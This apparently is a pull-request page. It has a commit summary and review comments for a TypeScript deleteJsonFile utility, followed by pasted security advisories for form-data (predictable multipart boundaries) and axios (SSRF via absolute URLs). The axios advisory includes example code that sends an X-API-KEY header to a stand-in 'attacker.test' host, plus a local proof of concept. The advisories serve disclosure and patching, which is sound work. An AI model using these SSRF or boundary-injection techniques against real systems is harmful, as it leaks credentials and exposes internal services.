Add deleteJsonFile utility function in fileUtils.ts

[anatolyshipitz]

• Introduced a new function deleteJsonFile to handle the deletion of JSON files. This function gracefully manages errors by ignoring 'file not found' errors (ENOENT) while throwing a custom error for other issues.
• This enhancement improves file management capabilities within the application, allowing for better handling of temporary or unnecessary JSON files.

These changes contribute to a more robust utility for file operations.

34-34: Consider using proper JSON casing in function name.

Following TypeScript conventions, "JSON" should be capitalized rather than "Json" for consistency with standard abbreviations.

-export async function deleteJsonFile(filePath: string): Promise<void> {

34-43: LGTM! Well-implemented delete utility with appropriate error handling.

The function correctly handles the ENOENT case by treating missing files as successful deletions, which is the expected behavior for delete operations. The error handling pattern is consistent with existing functions in the file.

This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

axios 1.7.4 (npm) pkg:npm/[email protected] Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.024% EPSS Percentile 5th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
